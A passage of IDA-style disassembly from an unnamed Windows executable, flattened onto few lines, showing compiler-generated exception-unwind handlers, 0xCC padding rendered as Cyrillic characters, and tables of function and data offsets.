[ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллл',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset byte_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset byte_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset byte_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:off_4438C0o ; ___:off_4438E0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CE0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CE0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FCC+0B34h dd 1, 437B0Bh, 2, 437B16h, 